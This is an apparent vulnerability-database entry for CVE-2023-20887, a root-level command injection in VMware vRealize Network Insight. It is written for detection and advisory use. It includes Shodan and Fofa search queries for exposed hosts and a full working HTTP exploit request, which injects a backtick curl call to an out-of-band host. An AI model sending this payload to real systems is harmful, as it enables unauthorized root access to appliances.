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CVE-2023-20887: VMware VRealize Network Insight - Remote Code Execution

TitleVMware VRealize Network Insight - Remote Code Execution
Authorsinsinology
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches provided by VMware to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94393
CVE IDCVE-2023-20887
CWE IDCWE-77
Shodan Querytitle:"VMware vRealize Network Insight"http.title:"vmware vrealize network insight"http.title:"vmware aria operations"
Fofa Querytitle="VMware vRealize Network Insight"title="vmware aria operations"title="vmware vrealize network insight"
Tags cve2023 cve packetstorm vmware rce msf vrealize insight oast kev vkev vuln

🔍 Vulnerability Description

VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of ‘root’ on the appliance. VMWare 6.x version are vulnerable.

🌐 HTTP Request

POST /saas./resttosaasservlet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
Connection: close
Content-Length: 171
Content-Type: application/x-thrift
Accept-Encoding: gzip

[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`curl d5jki71le0o29i57oq50hb43amnhzhk6p.oast.pro`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-20887.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-20887.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A